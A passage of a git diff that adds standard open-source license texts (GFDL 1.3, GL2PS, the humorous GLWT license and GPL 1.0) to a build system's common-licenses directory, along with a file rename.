+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section Entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice, and that you preserve all their Warranty Disclaimers.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections Entitled "History" in the various original documents, forming one section Entitled "History"; likewise combine any sections Entitled "Acknowledgements", and any sections Entitled "Dedications". You must delete all sections Entitled "Endorsements".
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, is called an "aggregate" if the copyright resulting from the compilation is not used to limit the legal rights of the compilation's users beyond what the individual works permit. When the Document is included in an aggregate, this License does not apply to the other works in the aggregate which are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one half of the entire aggregate, the Document's Cover Texts may be placed on covers that bracket the Document within the aggregate, or the electronic equivalent of covers if the Document is in electronic form. Otherwise they must appear on printed covers that bracket the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License, and all the license notices in the Document, and any Warranty Disclaimers, provided that you also include the original English version of this License and the original versions of those notices and disclaimers. In case of a disagreement between the translation and the original version of this License or a notice or disclaimer, the original version will prevail.
+
+If a section in the Document is Entitled "Acknowledgements", "Dedications", or "History", the requirement (section 4) to Preserve its Title (section 1) will typically require changing the actual title.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense, or distribute it is void, and will automatically terminate your rights under this License.
+
+However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation.
+
+Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice.
+
+Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, receipt of a copy of some or all of the same material does not give you any rights to use it.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation. If the Document specifies that a proxy can decide which future versions of this License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Document.
+
+11. RELICENSING
+
+"Massive Multiauthor Collaboration Site" (or "MMC Site") means any World Wide Web server that publishes copyrightable works and also provides prominent facilities for anybody to edit those works. A public wiki that anybody can edit is an example of such a server. A "Massive Multiauthor Collaboration" (or "MMC") contained in the site means any set of copyrightable works thus published on the MMC site.
+
+"CC-BY-SA" means the Creative Commons Attribution-Share Alike 3.0 license published by Creative Commons Corporation, a not-for-profit corporation with a principal place of business in San Francisco, California, as well as future copyleft versions of that license published by that same organization.
+
+"Incorporate" means to publish or republish a Document, in whole or in part, as part of another Document.
+
+An MMC is "eligible for relicensing" if it is licensed under this License, and if all works that were first published under this License somewhere other than this MMC, and subsequently incorporated in whole or in part into the MMC, (1) had no cover texts or invariant sections, and (2) were thus incorporated prior to November 1, 2008.
+
+The operator of an MMC Site may republish an MMC contained in the site under CC-BY-SA on the same site at any time before August 1, 2009, provided the MMC is eligible for relicensing.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts, replace the "with...Texts." line with this:
+
+ with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST.
+
+If you have Invariant Sections without Cover Texts, or some other combination of the three, merge those two alternatives to suit the situation.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GFDL-1.3-or-later b/meta/files/common-licenses/GFDL-1.3-or-later
new file mode 100644
index 0000000000..b51dc2ab16
--- /dev/null
+++ b/meta/files/common-licenses/GFDL-1.3-or-later
@@ -0,0 +1,149 @@
+GNU Free Documentation License
+Version 1.3, 3 November 2008
+
+Copyright (C) 2000, 2001, 2002, 2007, 2008 Free Software Foundation, Inc. <http://fsf.org/>
+
+Everyone is permitted to copy and distribute verbatim copies of this license document, but changing it is not allowed.
+
+0. PREAMBLE
+
+The purpose of this License is to make a manual, textbook, or other functional and useful document "free" in the sense of freedom: to assure everyone the effective freedom to copy and redistribute it, with or without modifying it, either commercially or noncommercially. Secondarily, this License preserves for the author and publisher a way to get credit for their work, while not being considered responsible for modifications made by others.
+
+This License is a kind of "copyleft", which means that derivative works of the document must themselves be free in the same sense. It complements the GNU General Public License, which is a copyleft license designed for free software.
+
+We have designed this License in order to use it for manuals for free software, because free software needs free documentation: a free program should come with manuals providing the same freedoms that the software does. But this License is not limited to software manuals; it can be used for any textual work, regardless of subject matter or whether it is published as a printed book. We recommend this License principally for works whose purpose is instruction or reference.
+
+1. APPLICABILITY AND DEFINITIONS
+
+This License applies to any manual or other work, in any medium, that contains a notice placed by the copyright holder saying it can be distributed under the terms of this License. Such a notice grants a world-wide, royalty-free license, unlimited in duration, to use that work under the conditions stated herein. The "Document", below, refers to any such manual or work. Any member of the public is a licensee, and is addressed as "you". You accept the license if you copy, modify or distribute the work in a way requiring permission under copyright law.
+
+A "Modified Version" of the Document means any work containing the Document or a portion of it, either copied verbatim, or with modifications and/or translated into another language.
+
+A "Secondary Section" is a named appendix or a front-matter section of the Document that deals exclusively with the relationship of the publishers or authors of the Document to the Document's overall subject (or to related matters) and contains nothing that could fall directly within that overall subject. (Thus, if the Document is in part a textbook of mathematics, a Secondary Section may not explain any mathematics.) The relationship could be a matter of historical connection with the subject or with related matters, or of legal, commercial, philosophical, ethical or political position regarding them.
+
+The "Invariant Sections" are certain Secondary Sections whose titles are designated, as being those of Invariant Sections, in the notice that says that the Document is released under this License. If a section does not fit the above definition of Secondary then it is not allowed to be designated as Invariant. The Document may contain zero Invariant Sections. If the Document does not identify any Invariant Sections then there are none.
+
+The "Cover Texts" are certain short passages of text that are listed, as Front-Cover Texts or Back-Cover Texts, in the notice that says that the Document is released under this License. A Front-Cover Text may be at most 5 words, and a Back-Cover Text may be at most 25 words.
+
+A "Transparent" copy of the Document means a machine-readable copy, represented in a format whose specification is available to the general public, that is suitable for revising the document straightforwardly with generic text editors or (for images composed of pixels) generic paint programs or (for drawings) some widely available drawing editor, and that is suitable for input to text formatters or for automatic translation to a variety of formats suitable for input to text formatters. A copy made in an otherwise Transparent file format whose markup, or absence of markup, has been arranged to thwart or discourage subsequent modification by readers is not Transparent. An image format is not Transparent if used for any substantial amount of text. A copy that is not "Transparent" is called "Opaque".
+
+Examples of suitable formats for Transparent copies include plain ASCII without markup, Texinfo input format, LaTeX input format, SGML or XML using a publicly available DTD, and standard-conforming simple HTML, PostScript or PDF designed for human modification. Examples of transparent image formats include PNG, XCF and JPG. Opaque formats include proprietary formats that can be read and edited only by proprietary word processors, SGML or XML for which the DTD and/or processing tools are not generally available, and the machine-generated HTML, PostScript or PDF produced by some word processors for output purposes only.
+
+The "Title Page" means, for a printed book, the title page itself, plus such following pages as are needed to hold, legibly, the material this License requires to appear in the title page. For works in formats which do not have any title page as such, "Title Page" means the text near the most prominent appearance of the work's title, preceding the beginning of the body of the text.
+
+The "publisher" means any person or entity that distributes copies of the Document to the public.
+
+A section "Entitled XYZ" means a named subunit of the Document whose title either is precisely XYZ or contains XYZ in parentheses following text that translates XYZ in another language. (Here XYZ stands for a specific section name mentioned below, such as "Acknowledgements", "Dedications", "Endorsements", or "History".) To "Preserve the Title" of such a section when you modify the Document means that it remains a section "Entitled XYZ" according to this definition.
+
+The Document may include Warranty Disclaimers next to the notice which states that this License applies to the Document. These Warranty Disclaimers are considered to be included by reference in this License, but only as regards disclaiming warranties: any other implication that these Warranty Disclaimers may have is void and has no effect on the meaning of this License.
+
+2. VERBATIM COPYING
+
+You may copy and distribute the Document in any medium, either commercially or noncommercially, provided that this License, the copyright notices, and the license notice saying this License applies to the Document are reproduced in all copies, and that you add no other conditions whatsoever to those of this License. You may not use technical measures to obstruct or control the reading or further copying of the copies you make or distribute. However, you may accept compensation in exchange for copies. If you distribute a large enough number of copies you must also follow the conditions in section 3.
+
+You may also lend copies, under the same conditions stated above, and you may publicly display copies.
+
+3. COPYING IN QUANTITY
+
+If you publish printed copies (or copies in media that commonly have printed covers) of the Document, numbering more than 100, and the Document's license notice requires Cover Texts, you must enclose the copies in covers that carry, clearly and legibly, all these Cover Texts: Front-Cover Texts on the front cover, and Back-Cover Texts on the back cover. Both covers must also clearly and legibly identify you as the publisher of these copies. The front cover must present the full title with all words of the title equally prominent and visible. You may add other material on the covers in addition. Copying with changes limited to the covers, as long as they preserve the title of the Document and satisfy these conditions, can be treated as verbatim copying in other respects.
+
+If the required texts for either cover are too voluminous to fit legibly, you should put the first ones listed (as many as fit reasonably) on the actual cover, and continue the rest onto adjacent pages.
+
+If you publish or distribute Opaque copies of the Document numbering more than 100, you must either include a machine-readable Transparent copy along with each Opaque copy, or state in or with each Opaque copy a computer-network location from which the general network-using public has access to download using public-standard network protocols a complete Transparent copy of the Document, free of added material. If you use the latter option, you must take reasonably prudent steps, when you begin distribution of Opaque copies in quantity, to ensure that this Transparent copy will remain thus accessible at the stated location until at least one year after the last time you distribute an Opaque copy (directly or through your agents or retailers) of that edition to the public.
+
+It is requested, but not required, that you contact the authors of the Document well before redistributing any large number of copies, to give them a chance to provide you with an updated version of the Document.
+
+4. MODIFICATIONS
+
+You may copy and distribute a Modified Version of the Document under the conditions of sections 2 and 3 above, provided that you release the Modified Version under precisely this License, with the Modified Version filling the role of the Document, thus licensing distribution and modification of the Modified Version to whoever possesses a copy of it. In addition, you must do these things in the Modified Version:
+
+ A. Use in the Title Page (and on the covers, if any) a title distinct from that of the Document, and from those of previous versions (which should, if there were any, be listed in the History section of the Document). You may use the same title as a previous version if the original publisher of that version gives permission.
+ B. List on the Title Page, as authors, one or more persons or entities responsible for authorship of the modifications in the Modified Version, together with at least five of the principal authors of the Document (all of its principal authors, if it has fewer than five), unless they release you from this requirement.
+ C. State on the Title page the name of the publisher of the Modified Version, as the publisher.
+ D. Preserve all the copyright notices of the Document.
+ E. Add an appropriate copyright notice for your modifications adjacent to the other copyright notices.
+ F. Include, immediately after the copyright notices, a license notice giving the public permission to use the Modified Version under the terms of this License, in the form shown in the Addendum below.
+ G. Preserve in that license notice the full lists of Invariant Sections and required Cover Texts given in the Document's license notice. H. Include an unaltered copy of this License.
+ I. Preserve the section Entitled "History", Preserve its Title, and add to it an item stating at least the title, year, new authors, and publisher of the Modified Version as given on the Title Page. If there is no section Entitled "History" in the Document, create one stating the title, year, authors, and publisher of the Document as given on its Title Page, then add an item describing the Modified Version as stated in the previous sentence.
+ J. Preserve the network location, if any, given in the Document for public access to a Transparent copy of the Document, and likewise the network locations given in the Document for previous versions it was based on. These may be placed in the "History" section. You may omit a network location for a work that was published at least four years before the Document itself, or if the original publisher of the version it refers to gives permission.
+ K. For any section Entitled "Acknowledgements" or "Dedications", Preserve the Title of the section, and preserve in the section all the substance and tone of each of the contributor acknowledgements and/or dedications given therein.
+ L. Preserve all the Invariant Sections of the Document, unaltered in their text and in their titles. Section numbers or the equivalent are not considered part of the section titles.
+ M. Delete any section Entitled "Endorsements". Such a section may not be included in the Modified Version.
+ N. Do not retitle any existing section to be Entitled "Endorsements" or to conflict in title with any Invariant Section.
+ O. Preserve any Warranty Disclaimers.
+
+If the Modified Version includes new front-matter sections or appendices that qualify as Secondary Sections and contain no material copied from the Document, you may at your option designate some or all of these sections as invariant. To do this, add their titles to the list of Invariant Sections in the Modified Version's license notice. These titles must be distinct from any other section titles.
+
+You may add a section Entitled "Endorsements", provided it contains nothing but endorsements of your Modified Version by various parties--for example, statements of peer review or that the text has been approved by an organization as the authoritative definition of a standard.
+
+You may add a passage of up to five words as a Front-Cover Text, and a passage of up to 25 words as a Back-Cover Text, to the end of the list of Cover Texts in the Modified Version. Only one passage of Front-Cover Text and one of Back-Cover Text may be added by (or through arrangements made by) any one entity. If the Document already includes a cover text for the same cover, previously added by you or by arrangement made by the same entity you are acting on behalf of, you may not add another; but you may replace the old one, on explicit permission from the previous publisher that added the old one.
+
+The author(s) and publisher(s) of the Document do not by this License give permission to use their names for publicity for or to assert or imply endorsement of any Modified Version.
+
+5. COMBINING DOCUMENTS
+
+You may combine the Document with other documents released under this License, under the terms defined in section 4 above for modified versions, provided that you include in the combination all of the Invariant Sections of all of the original documents, unmodified, and list them all as Invariant Sections of your combined work in its license notice, and that you preserve all their Warranty Disclaimers.
+
+The combined work need only contain one copy of this License, and multiple identical Invariant Sections may be replaced with a single copy. If there are multiple Invariant Sections with the same name but different contents, make the title of each such section unique by adding at the end of it, in parentheses, the name of the original author or publisher of that section if known, or else a unique number. Make the same adjustment to the section titles in the list of Invariant Sections in the license notice of the combined work.
+
+In the combination, you must combine any sections Entitled "History" in the various original documents, forming one section Entitled "History"; likewise combine any sections Entitled "Acknowledgements", and any sections Entitled "Dedications". You must delete all sections Entitled "Endorsements".
+
+6. COLLECTIONS OF DOCUMENTS
+
+You may make a collection consisting of the Document and other documents released under this License, and replace the individual copies of this License in the various documents with a single copy that is included in the collection, provided that you follow the rules of this License for verbatim copying of each of the documents in all other respects.
+
+You may extract a single document from such a collection, and distribute it individually under this License, provided you insert a copy of this License into the extracted document, and follow this License in all other respects regarding verbatim copying of that document.
+
+7. AGGREGATION WITH INDEPENDENT WORKS
+
+A compilation of the Document or its derivatives with other separate and independent documents or works, in or on a volume of a storage or distribution medium, is called an "aggregate" if the copyright resulting from the compilation is not used to limit the legal rights of the compilation's users beyond what the individual works permit. When the Document is included in an aggregate, this License does not apply to the other works in the aggregate which are not themselves derivative works of the Document.
+
+If the Cover Text requirement of section 3 is applicable to these copies of the Document, then if the Document is less than one half of the entire aggregate, the Document's Cover Texts may be placed on covers that bracket the Document within the aggregate, or the electronic equivalent of covers if the Document is in electronic form. Otherwise they must appear on printed covers that bracket the whole aggregate.
+
+8. TRANSLATION
+
+Translation is considered a kind of modification, so you may distribute translations of the Document under the terms of section 4. Replacing Invariant Sections with translations requires special permission from their copyright holders, but you may include translations of some or all Invariant Sections in addition to the original versions of these Invariant Sections. You may include a translation of this License, and all the license notices in the Document, and any Warranty Disclaimers, provided that you also include the original English version of this License and the original versions of those notices and disclaimers. In case of a disagreement between the translation and the original version of this License or a notice or disclaimer, the original version will prevail.
+
+If a section in the Document is Entitled "Acknowledgements", "Dedications", or "History", the requirement (section 4) to Preserve its Title (section 1) will typically require changing the actual title.
+
+9. TERMINATION
+
+You may not copy, modify, sublicense, or distribute the Document except as expressly provided under this License. Any attempt otherwise to copy, modify, sublicense, or distribute it is void, and will automatically terminate your rights under this License.
+
+However, if you cease all violation of this License, then your license from a particular copyright holder is reinstated (a) provisionally, unless and until the copyright holder explicitly and finally terminates your license, and (b) permanently, if the copyright holder fails to notify you of the violation by some reasonable means prior to 60 days after the cessation.
+
+Moreover, your license from a particular copyright holder is reinstated permanently if the copyright holder notifies you of the violation by some reasonable means, this is the first time you have received notice of violation of this License (for any work) from that copyright holder, and you cure the violation prior to 30 days after your receipt of the notice.
+
+Termination of your rights under this section does not terminate the licenses of parties who have received copies or rights from you under this License. If your rights have been terminated and not permanently reinstated, receipt of a copy of some or all of the same material does not give you any rights to use it.
+
+10. FUTURE REVISIONS OF THIS LICENSE
+
+The Free Software Foundation may publish new, revised versions of the GNU Free Documentation License from time to time. Such new versions will be similar in spirit to the present version, but may differ in detail to address new problems or concerns. See http://www.gnu.org/copyleft/.
+
+Each version of the License is given a distinguishing version number. If the Document specifies that a particular numbered version of this License "or any later version" applies to it, you have the option of following the terms and conditions either of that specified version or of any later version that has been published (not as a draft) by the Free Software Foundation. If the Document does not specify a version number of this License, you may choose any version ever published (not as a draft) by the Free Software Foundation. If the Document specifies that a proxy can decide which future versions of this License can be used, that proxy's public statement of acceptance of a version permanently authorizes you to choose that version for the Document.
+
+11. RELICENSING
+
+"Massive Multiauthor Collaboration Site" (or "MMC Site") means any World Wide Web server that publishes copyrightable works and also provides prominent facilities for anybody to edit those works. A public wiki that anybody can edit is an example of such a server. A "Massive Multiauthor Collaboration" (or "MMC") contained in the site means any set of copyrightable works thus published on the MMC site.
+
+"CC-BY-SA" means the Creative Commons Attribution-Share Alike 3.0 license published by Creative Commons Corporation, a not-for-profit corporation with a principal place of business in San Francisco, California, as well as future copyleft versions of that license published by that same organization.
+
+"Incorporate" means to publish or republish a Document, in whole or in part, as part of another Document.
+
+An MMC is "eligible for relicensing" if it is licensed under this License, and if all works that were first published under this License somewhere other than this MMC, and subsequently incorporated in whole or in part into the MMC, (1) had no cover texts or invariant sections, and (2) were thus incorporated prior to November 1, 2008.
+
+The operator of an MMC Site may republish an MMC contained in the site under CC-BY-SA on the same site at any time before August 1, 2009, provided the MMC is eligible for relicensing.
+
+ADDENDUM: How to use this License for your documents
+
+To use this License in a document you have written, include a copy of the License in the document and put the following copyright and license notices just after the title page:
+
+ Copyright (c) YEAR YOUR NAME. Permission is granted to copy, distribute and/or modify this document under the terms of the GNU Free Documentation License, Version 1.3 or any later version published by the Free Software Foundation; with no Invariant Sections, no Front-Cover Texts, and no Back-Cover Texts. A copy of the license is included in the section entitled "GNU Free Documentation License".
+
+If you have Invariant Sections, Front-Cover Texts and Back-Cover Texts, replace the "with...Texts." line with this:
+
+ with the Invariant Sections being LIST THEIR TITLES, with the Front-Cover Texts being LIST, and with the Back-Cover Texts being LIST.
+
+If you have Invariant Sections without Cover Texts, or some other combination of the three, merge those two alternatives to suit the situation.
+
+If your document contains nontrivial examples of program code, we recommend releasing these examples in parallel under your choice of free software license, such as the GNU General Public License, to permit their use in free software.
diff --git a/meta/files/common-licenses/GL2PS b/meta/files/common-licenses/GL2PS
new file mode 100644
index 0000000000..ee2af779d9
--- /dev/null
+++ b/meta/files/common-licenses/GL2PS
@@ -0,0 +1,13 @@
+GL2PS LICENSE Version 2, November 2003
+
+Copyright (C) 2003, Christophe Geuzaine
+
+Permission to use, copy, and distribute this software and its documentation for any purpose with or without fee is hereby granted, provided that the copyright notice appear in all copies and that both that copyright notice and this permission notice appear in supporting documentation.
+
+Permission to modify and distribute modified versions of this software is granted, provided that:
+
+1) the modifications are licensed under the same terms as this software;
+
+2) you make available the source code of any modifications that you distribute, either on the same media as you distribute any executable or other form of this software, or via a mechanism generally accepted in the software development community for the electronic transfer of data.
+
+This software is provided "as is" without express or implied warranty.
diff --git a/meta/files/common-licenses/GLWTPL b/meta/files/common-licenses/GLWTPL
new file mode 100644
index 0000000000..a0f7ec4883
--- /dev/null
+++ b/meta/files/common-licenses/GLWTPL
@@ -0,0 +1,25 @@
+ GLWT(Good Luck With That) Public License
+ Copyright (c) Everyone, except Author
+
+Everyone is permitted to copy, distribute, modify, merge, sell, publish,
+sublicense or whatever they want with this software but at their OWN RISK.
+
+ Preamble
+
+The author has absolutely no clue what the code in this project does.
+It might just work or not, there is no third option.
+
+
+ GOOD LUCK WITH THAT PUBLIC LICENSE
+ TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION, AND MODIFICATION
+
+ 0. You just DO WHATEVER YOU WANT TO as long as you NEVER LEAVE A
+TRACE TO TRACK THE AUTHOR of the original product to blame for or hold
+responsible.
+
+IN NO EVENT SHALL THE AUTHORS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER
+DEALINGS IN THE SOFTWARE.
+
+Good luck and Godspeed.
diff --git a/meta/files/common-licenses/GPL-1.0 b/meta/files/common-licenses/GPL-1.0-only
index 9d4ef93ae5..9d4ef93ae5 100644
--- a/meta/files/common-licenses/GPL-1.0
+++ b/meta/files/common-licenses/GPL-1.0-only
diff --git a/meta/files/common-licenses/GPL-1.0-or-later b/meta/files/common-licenses/GPL-1.0-or-later
new file mode 100644
index 0000000000..b616110c75
--- /dev/null
+++ b/meta/files/common-licenses/GPL-1.0-or-later
@@ -0,0 +1,232 @@
+GNU GENERAL PUBLIC LICENSE
+
+Version 1, February 1989
+
+Copyright (C) 1989 Free Software Foundation, Inc. 51 Franklin St, Fifth Floor,
+Boston, MA 02110-1301 USA
+
+Everyone is permitted to copy and distribute verbatim copies of this license
+document, but changing it is not allowed.
+
+Preamble
+
+The license agreements of most software companies try to keep users at the
+mercy of those companies. By contrast, our General Public License is intended
+to guarantee your freedom to share and change free software--to make sure
+the software is free for all its users. The General Public License applies
+to the Free Software Foundation's software and to any other program whose
+authors commit to using it. You can use it for your programs, too.
+
+When we speak of free software, we are referring to freedom, not price. Specifically,
+the General Public License is designed to make sure that you have the freedom
+to give away or sell copies of free software, that you receive source code
+or can get it if you want it, that you can change the software or use pieces
+of it in new free programs; and that you know you can do these things.
+
+To protect your rights, we need to make restrictions that forbid anyone to
+deny you these rights or to ask you to surrender the rights. These restrictions
+translate to certain responsibilities for you if you distribute copies of
+the software, or if you modify it.
+
+For example, if you distribute copies of a such a program, whether gratis
+or for a fee, you must give the recipients all the rights that you have. You
+must make sure that they, too, receive or can get the source code. And you
+must tell them their rights.
+
+We protect your rights with two steps: (1) copyright the software, and (2)
+offer you this license which gives you legal permission to copy, distribute
+and/or modify the software.
+
+Also, for each author's protection and ours, we want to make certain that
+everyone understands that there is no warranty for this free software. If
+the software is modified by someone else and passed on, we want its recipients
+to know that what they have is not the original, so that any problems introduced
+by others will not reflect on the original authors' reputations.
+
+The precise terms and conditions for copying, distribution and modification
+follow.
+
+GNU GENERAL PUBLIC LICENSE TERMS AND CONDITIONS FOR COPYING, DISTRIBUTION
+AND MODIFICATION
+
+0. This License Agreement applies to any program or other work which contains
+a notice placed by the copyright holder saying it may be distributed under
+the terms of this General Public License. The "Program", below, refers to
+any such program or work, and a "work based on the Program" means either the
+Program or any work containing the Program or a portion of it, either verbatim
+or with modifications. Each licensee is addressed as "you".
+
+1. You may copy and distribute verbatim copies of the Program's source code
+as you receive it, in any medium, provided that you conspicuously and appropriately
+publish on each copy an appropriate copyright notice and disclaimer of warranty;
+keep intact all the notices that refer to this General Public License and
+to the absence of any warranty; and give any other recipients of the Program
+a copy of this General Public License along with the Program. You may charge
+a fee for the physical act of transferring a copy.
+
+2. You may modify your copy or copies of the Program or any portion of it,
+and copy and distribute such modifications under the terms of Paragraph 1
+above, provided that you also do the following:
+
+a) cause the modified files to carry prominent notices stating that you changed
+the files and the date of any change; and
+
+b) cause the whole of any work that you distribute or publish, that in whole
+or in part contains the Program or any part thereof, either with or without
+modifications, to be licensed at no charge to all third parties under the
+terms of this General Public License (except that you may choose to grant
+warranty protection to some or all third parties, at your option).
+
+c) If the modified program normally reads commands interactively when run,
+you must cause it, when started running for such interactive use in the simplest
+and most usual way, to print or display an announcement including an appropriate
+copyright notice and a notice that there is no warranty (or else, saying that
+you provide a warranty) and that users may redistribute the program under
+these conditions, and telling the user how to view a copy of this General
+Public License.
+
+d) You may charge a fee for the physical act of transferring a copy, and you
+may at your option offer warranty protection in exchange for a fee.
+
+Mere aggregation of another independent work with the Program (or its derivative)
+on a volume of a storage or distribution medium does not bring the other work
+under the scope of these terms.
+
+3. You may copy and distribute the Program (or a portion or derivative of
+it, under Paragraph 2) in object code or executable form under the terms of
+Paragraphs 1 and 2 above provided that you also do one of the following:
+
+a) accompany it with the complete corresponding machine-readable source code,
+which must be distributed under the terms of Paragraphs 1 and 2 above; or,
+
+b) accompany it with a written offer, valid for at least three years, to give
+any third party free (except for a nominal charge for the cost of distribution)
+a complete machine-readable copy of the corresponding source code, to be distributed
+under the terms of Paragraphs 1 and 2 above; or,
+
+c) accompany it with the information you received as to where the corresponding
+source code may be obtained. (This alternative is allowed only for noncommercial
+distribution and only if you received the program in object code or executable
+form alone.)
+
+Source code for a work means the preferred form of the work for making modifications
+to it. For an executable file, complete source code means all the source code
+for all modules it contains; but, as a special exception, it need not include
+source code for modules which are standard libraries that accompany the operating
+system on which the executable file runs, or for standard header files or
+definitions files that accompany that operating system.
+
+4. You may not copy, modify, sublicense, distribute or transfer the Program
+except as expressly provided under this General Public License. Any attempt
+otherwise to copy, modify, sublicense, distribute or transfer the Program
+is void, and will automatically terminate your rights to use the Program under
+this License. However, parties who have received copies, or rights to use
+copies, from you under this General Public License will not have their licenses
+terminated so long as such parties remain in full compliance.
+
+5. By copying, distributing or modifying the Program (or any work based on
+the Program) you indicate your acceptance of this license to do so, and all
+its terms and conditions.
+
+6. Each time you redistribute the Program (or any work based on the Program),
+the recipient automatically receives a license from the original licensor
+to copy, distribute or modify the Program subject to these terms and conditions.
+You may not impose any further restrictions on the recipients' exercise of
+the rights granted herein.
+
+7. The Free Software Foundation may publish revised and/or new versions of
+the General Public License from time to time. Such new versions will be similar
+in spirit to the present version, but may differ in detail to address new
+problems or concerns.
+
+Each version is given a distinguishing version number. If the Program specifies
+a version number of the license which applies to it and "any later version",
+you have the option of following the terms and conditions either of that version
+or of any later version published by the Free Software Foundation. If the
+Program does not specify a version number of the license, you may choose any
+version ever published by the Free Software Foundation.
+
+8. If you wish to incorporate parts of the Program into other free programs
+whose distribution conditions are different, write to the author to ask for
+permission. For software which is copyrighted by the Free Software Foundation,
+write to the Free Software Foundation; we sometimes make exceptions for this.
+Our decision will be guided by the two goals of preserving the free status
+of all derivatives of our free software and of promoting the sharing and reuse
+of software generally.
+
+
+
+ NO WARRANTY 9.
+
+BECAUSE THE PROGRAM IS LICENSED FREE OF CHARGE, THERE IS NO WARRANTY FOR THE
+PROGRAM, TO THE EXTENT PERMITTED BY APPLICABLE LAW. EXCEPT WHEN OTHERWISE
+STATED IN WRITING THE COPYRIGHT HOLDERS AND/OR OTHER PARTIES PROVIDE THE PROGRAM
+"AS IS" WITHOUT WARRANTY OF ANY KIND, EITHER EXPRESSED OR IMPLIED, INCLUDING,
+BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS
+FOR A PARTICULAR PURPOSE. THE ENTIRE RISK AS TO THE QUALITY AND PERFORMANCE
+OF THE PROGRAM IS WITH YOU. SHOULD THE PROGRAM PROVE DEFECTIVE, YOU ASSUME
+THE COST OF ALL NECESSARY SERVICING, REPAIR OR CORRECTION.
+
+10. IN NO EVENT UNLESS REQUIRED BY APPLICABLE LAW OR AGREED TO IN WRITING
+WILL ANY COPYRIGHT HOLDER, OR ANY OTHER PARTY WHO MAY MODIFY AND/OR REDISTRIBUTE
+THE PROGRAM AS PERMITTED ABOVE, BE LIABLE TO YOU FOR DAMAGES, INCLUDING ANY
+GENERAL, SPECIAL, INCIDENTAL OR CONSEQUENTIAL DAMAGES ARISING OUT OF THE USE
+OR INABILITY TO USE THE PROGRAM (INCLUDING BUT NOT LIMITED TO LOSS OF DATA
+OR DATA BEING RENDERED INACCURATE OR LOSSES SUSTAINED BY YOU OR THIRD PARTIES
+OR A FAILURE OF THE PROGRAM TO OPERATE WITH ANY OTHER PROGRAMS), EVEN IF SUCH
+HOLDER OR OTHER PARTY HAS BEEN ADVISED OF THE POSSIBILITY OF SUCH DAMAGES.
